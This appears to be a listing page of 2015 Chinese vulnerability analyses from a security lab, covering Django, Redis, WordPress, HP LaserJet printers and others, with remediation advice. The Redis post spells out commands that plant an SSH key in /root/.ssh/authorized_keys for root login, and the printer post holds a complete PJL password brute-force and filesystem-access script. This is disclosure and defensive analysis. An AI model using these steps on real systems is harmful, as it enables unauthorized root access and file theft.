-
CVE-2015-8213: Django settings leak possibility in date template filter
Author: evi1m0 (知道创宇404安全实验室)
Date : 2015-11-26近日 Django 官方发布《Security releases issued: 1.9rc2, 1.8.7, 1.7.11》安全公告,修复一个模板层 date 过滤器可能导致 Settings 信息泄露漏洞,从公告中我们可以看到的细节如下:
If an application allows users to specify an unvalidated format for dates and passes this format to the date filter, e.g. {{ lastupdated|date:userdateformat }}, then a malicious user could obtain any secret in the application's settings by specifying a settings key instead of a date format. e.g. "SECRETKEY" instead of "j/m/Y".
没有评论 -
Redis 未授权访问配合 SSH key 文件利用分析
Date: 2015-11-11
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 未授权访问的问题是一直存在的问题,知道创宇安全研究团队历史上也做过相关的应急,今日,又出现 Redis 未授权访问配合 SSH key 文件被利用的情况,导致一大批 Redis 服务器被黑,今天我们来简要的分析下。
一、漏洞概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
1、漏洞描述
Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
2、漏洞影响
Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。
通过ZoomEye 的搜索结果显示,有97707在公网可以直接访问的Redis服务。
根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:
全球无验证可直接利用Redis TOP 10国家与地区:
3、漏洞分析与利用
首先在本地生产公私钥文件:
1$ssh-keygen –t rsa然后将公钥写入 foo.txt 文件
1$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt再连接 Redis 写入文件
1234567891011$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit$ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
1$ ssh –i id_rsa root@192.168.1.11即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
4、Redis 未授权的其他危害与利用
a)数据库数据泄露
Redis 作为数据库,保存着各种各样的数据,如果存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等。
b)代码执行
Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下 一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.
通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。
c)敏感信息泄露
通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫。
可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。
5、漏洞验证
可以使用Pocsuite(http://github.com/knownsec/pocsuite)执行以下的代码可以用于测试目标地址是否存在未授权的Redis服务。
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859#!/usr/bin/env python# -*- coding:utf-8 -*-import socketimport urlparsefrom pocsuite.poc import POCBase, Outputfrom pocsuite.utils import registerclass TestPOC(POCBase):vulID = '89339'version = '1'author = ['Anonymous']vulDate = '2015-10-26'createDate = '2015-10-26'updateDate = '2015-10-26'references = ['http://sebug.net/vuldb/ssvid-89339']name = 'Redis 未授权访问 PoC'appPowerLink = 'http://redis.io/'appName = 'Redis'appVersion = 'All'vulType = 'Unauthorized access'desc = '''redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。'''samples = ['']def _verify(self):result = {}payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a's = socket.socket()socket.setdefaulttimeout(10)try:host = urlparse.urlparse(self.url).netlocport = 6379s.connect((host, port))s.send(payload)recvdata = s.recv(1024)if recvdata and 'redis_version' in recvdata:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Port'] = portexcept:passs.close()return self.parse_attack(result)def _attack(self):return self._verify()def parse_attack(self, result):output = Output(self)if result:output.success(result)else:output.fail('Internet nothing returned')return outputregister(TestPOC)二、安全建议
- 配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379
- 配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中
- 配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度
- 好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config
三、参考链接
- http://www.sebug.net/vuldb/ssvid-89339
- http://antirez.com/news/96
- http://www.secpulse.com/archives/5366.html
- http://www.sebug.net/vuldb/ssvid-89715
-
WordPress 利用 XMLRPC 高效爆破 原理分析
Author: RickGray (知道创宇404安全实验室)
Date: 2015-10-09
xmlrpc 是 WordPress 中进行远程调用的接口,而使用 xmlrpc 调用接口进行账号爆破在很早之前就被提出并加以利用。近日 SUCURI 发布文章介绍了如何利用 xmlrpc 调用接口中的
system.multicall
来提高爆破效率,使得成千上万次的帐号密码组合尝试能在一次请求完成,极大的压缩请求次数,在一定程度上能够躲避日志的检测。 -
Linux drm_legacy_lock_free 空指针引用bug分析
-
WordPress Vulnerability Analysis (CVE-2015-5714 & CVE-2015-5715)
By: RickGray (知道创宇404安全实验室)
近日,WordPress 发布了新版本4.3.1,其中修复了几个严重的安全问题,其中包含了由 Check Point 所提交的一个跨站脚本漏洞(CVE-2015-5714)和一个权限提升漏洞(CVE-2015-5715)。
8月初,Check Point 在其官方博客上发表了一篇关于《WordPress漏洞三部曲》 系列文章的第一部,在这篇文章中,提及了 WordPress 在 4.2.3 版本中修复的一个越权漏洞,这里对此就不再做具体分析和说明,相关细节详情可参考原文和 phithon 所写的 《Wordpress4.2.3提权与SQL注入漏洞(CVE-2015-5623)分析》。
这里主要说明的是 "三部曲" 中的第三部,也就是 Check Point 在其博客上公开的关于 WordPress 4.3.1 版本中所修复的另一个越权漏洞和一个跨站脚本漏洞(原文在这里)。
1. "KSES"与简码过滤差异化导致的 XSS
-
HP LaserJet 打印机未授权访问漏洞分析报告
详细报告PDF 版下载:HP LaserJet 打印机未授权访问漏洞分析报告
1. 漏洞概要
2010年11月15日,惠普官方发布安全通告 c02004333,漏洞编号 CVE-2010-4107,由 PJL 接口权限设置不正确导致 LaserJet 系列打印机未经授权进行远程访问文件。
1.1. 漏洞描述
惠普 LaserJet 系列打印机的 JetDirect 服务默认运行于9100端口,其上的打印机作业语言(PJL)提供了一种在设备和远端主机之间进行数据交换的方法。通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问。官方称该漏洞安全影响是未授权远程访问文件。
使用存在此漏洞的设备会带来数据泄漏、数据篡改、内网被渗透的风险。
1.2. 漏洞影响
受影响打印机系列:
HP LaserJet 以及 HP Color LaserJet 系列激光打印机,具体列表请见附件。2.3. 漏洞分析
2.3.1 密码爆破
惠普官方已经在2010年11月的安全通告上发布了漏洞解决办法,用户可以通过禁用 PJL 的文件系统访问权限或重新设置 PJL 密码来解决此问题。但 PJL 的安全密码是范围1-65535的数字,密码认证次数和频率并没有限制,远程攻击者可以通过爆破可以将 PJL 的密码安全保护禁用,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。
使用以下 Python3 程序对系统进行漏洞检测:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061import socketimport sysdef main():if len(sys.argv)<=1:print('Parameters error')returns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((sys.argv[1],9100))s.settimeout(None)# 发送读取设备ID的PJL指令s.send(('33%-12345X@PJL INFO ID\r\n33%-12345X\r\n').encode('UTF-8'))print(s.recv(1024).decode('UTF-8'))for i in range(1, 65536):buf = b''# 发送重置密码的PJL指令s.send(('33%-12345X@PJL \r\n@PJL JOB PASSWORD=' + str(i) + '\r\n@PJL DEFAULT PASSWORD=0 \r\n@PJL EOJ\r\n33%-12345X\r\n').encode('UTF-8'))if i%30 == 0:# 发送查询密码保护状态的PJL指令s.send(('33%-12345X@PJL \r\n@PJL DINQUIRE PASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))while True:buf += s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:# 密码保护被禁用buf.index(b'DISABLED')print('password disabled ok!')# 发送查询目录的PJL指令s.send(('33%-12345X@PJL \r\n@PJL FSDIRLIST NAME = "0:\\" ENTRY=1 COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))buf = b''while True:buf += s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:# 查询成功buf.index(b'ENTRY')print('PoC OK!')returnexcept ValueError:print('PoC NO!')returnexcept ValueError:continueexcept ValueError:print('password disabled faild!')finally:s.close()returnexcept ValueError:continues.close()if __name__ == '__main__':main()如果打印出“PoC OK!”,说明系统存在漏洞。PoC 验证脚本主要分为两个部分。第一部分发送重置密码的PJL指令进行密码爆破,每进行30次密码尝试后发送一次查询当前密码保护的状态的 PJL 指令,直到查询到密码保护被关闭即为爆破成功。爆破过程如图1所示,破解密码过程中返回打印机型号和PJL报文信息。
图1 Python3脚本爆破过程
第二部分发送查询磁盘文件的 PJL 指令,如果指令能够正确获取到目录,则 PJL 具有文件系统的访问权限,如图2所示,即存在漏洞,PoC 验证完成。
图2 Python3进行PoC验证
2.3.2. 打印机信息泄露
惠普打印机 File System External Access 的默认设置允许 PJL 命令访问该设备的文件系统。远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作,截图如下:
图3 连接远程打印机并遍历目录
进入打印机后台,读取目录后,可以进行上传、下载和删除文件的操作,截图如下:
图4 下载打印机内部文档
图5 删除打印机内文件并进行本地上传
3. ZoomEye 分析概要
通过网络空间搜索引擎 ZoomEye 进行全网搜索,得出目前全球10393台存在文件系统的惠普打印机中受到该漏洞影响的打印机有3625台,占比34.88%。
3.1. 受漏洞影响设备型号全球排名 TOP 10
受该漏洞影响打印机中 HP LaserJet 4250有424台(11.7%),HP LaserJet 4050有366台(10.1%),HP Color LaserJet 5550有267台(7.3%)。其中 HP LaserJet 系列打印机占所有受影响设备的73.9%。
图6 受漏洞影响设备型号全球排名 TOP 10
3.2. 受漏洞影响国家全球排名 TOP 10
受该漏洞影响的打印机数量全球排名前三分别是:
1、美国2315台,占比63.9%
2、韩国410台,占比11.3%
3、中国302台,占比8.3%图7 受漏洞影响国家全球排名 TOP 10
4.修复建议
1、禁止通过 PJL 访问文件系统
2、关注产品动态,将产品升级到最新版本5.总结
惠普 LaserJet 系列打印机未授权访问漏洞多年前就已经被爆出,惠普官方在2010年也给出了修补方案,然而在国内外都并未受到足够的重视,如今仍有很大一部分打印机存在未授权远程访问文件的危险,存于其上的私人文件甚至高密文件唾手可得,加强网络安全意识任重而道远。
6. 相关资源链接
1、知道创宇Sebug漏洞平台:
http://sebug.net/vuldb/ssvid-70298
2、惠普官方 PJL 技术手册:
http://h20565.www2.hp.com/hpsc/doc/public/display?docId=emr_na-bpl13208
3、惠普官方安全公告:
http://h20566.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c02004333
4、通用漏洞与披露官方网站:
http://cve.scap.org.cn/cve-2010-4107.html附件:受影响设备列表
HP Color LaserJet 2550 Series
HP Color LaserJet 3000
HP Color LaserJet 3500
HP Color LaserJet 3550
HP Color LaserJet 3700
HP Color LaserJet 3800
HP Color LaserJet 4500
HP Color LaserJet 4550 Series
HP Color LaserJet 4600
HP Color LaserJet 4650
HP Color LaserJet 4700
HP Color LaserJet 4730mfp
HP Color LaserJet 5500
HP Color LaserJet 5550
HP Color LaserJet 8550
HP Color LaserJet 9500
HP Color LaserJet CM2320fxi MFP
HP Color LaserJet CP3525
HP Color LaserJet CP4020 Series
HP Color LaserJet CP4520 Series
HP Color LaserJet CP5225dn
HP Color LaserJet CP5520 Series
HP Color LaserJet M651
HP Color LaserJet M750
HP Color LaserJet MFP M476dn
HP Color LaserJet MFP M476dw
HP DesignJet 130
HP DesignJet 130nr
HP LaserJet 1160 Series
HP LaserJet 1200
HP LaserJet 1220
HP LaserJet 1300
HP LaserJet 1320 Series
HP LaserJet 200 Color M251n
HP LaserJet 2100 Series
HP LaserJet 2200
HP LaserJet 2300 Series
HP LaserJet 2300L
HP LaserJet 2420
HP LaserJet 2430
HP LaserJet 3030
HP LaserJet 3330
HP LaserJet 400 Color M451dn
HP LaserJet 400 Color M451dw
HP LaserJet 400 Color M451nw
HP LaserJet 400 M401dn
HP LaserJet 400 M401dne
HP LaserJet 400 M401n
HP LaserJet 400 MFP M425dn
HP LaserJet 4000
HP LaserJet 4050
HP LaserJet 4100 MFP
HP LaserJet 4100 Series
HP LaserJet 4200
HP LaserJet 4200L
HP LaserJet 4240
HP LaserJet 4250
HP LaserJet 4300
HP LaserJet 4345 mfp
HP LaserJet 4350
HP LaserJet 500 Color M551
HP LaserJet 500 ColorMFP M570dn
HP LaserJet 5000
HP LaserJet 5100
HP LaserJet 5200
HP LaserJet 5200L
HP LaserJet 5200LX
HP LaserJet 600 M601
HP LaserJet 600 M602
HP LaserJet 600 M603
HP LaserJet 6P
HP LaserJet 8000
HP LaserJet 8100
HP LaserJet 8150
HP LaserJet 9000 Series
HP LaserJet 9040
HP LaserJet 9050
HP LaserJet M606
HP LaserJet P2015 Series
HP LaserJet P3005
HP LaserJet P3010 Series
HP LaserJet P4014
HP LaserJet P4015
HP LaserJet P4515
HP LaserJet Pro MFP M521dn
HP Officejet Pro X476dw MFP
HP Officejet Pro X551dw Printer -
PHP 7 ZEND_HASH_IF_FULL_DO_RESIZE Use After Free 漏洞分析
知道创宇安全研究团队 niubl:2015.8.18
1. PHP介绍
PHP(外文名: Hypertext Preprocessor,中文名:“超文本预处理器”)是一种通用开源脚本语言。
PHP语法吸收了C语言、Java和Perl的特点,易于学习,使用广泛,主要适用于Web开发领域。PHP 独特的语法混合了C、Java、Perl以及PHP自创的语法。它可以比CGI或者Perl更快速地执行动态网页。用PHP做出的动态页面与其他的编程语言相比,PHP是将程序嵌入到HTML(标准通用标记语言下的一个应用)文档中去执行,执行效率比完全生成HTML标记的CGI要高许多;PHP还可以执行编译后代码,编译可以达到加密和优化代码运行,使代码运行更快。 Read More » -
CVE-2015-5477-BIND查询拒绝服务漏洞报告
-
“心脏出血”漏洞一周年全球普查
知道创宇 ZoomEye 团队 2015 . 04 . 08
本文英文版 PDF 下载:Annual Global Census on “Heartbleed” Vulnerability
-
烽火(Fiberhome)HG-110 设备目录穿越漏洞考察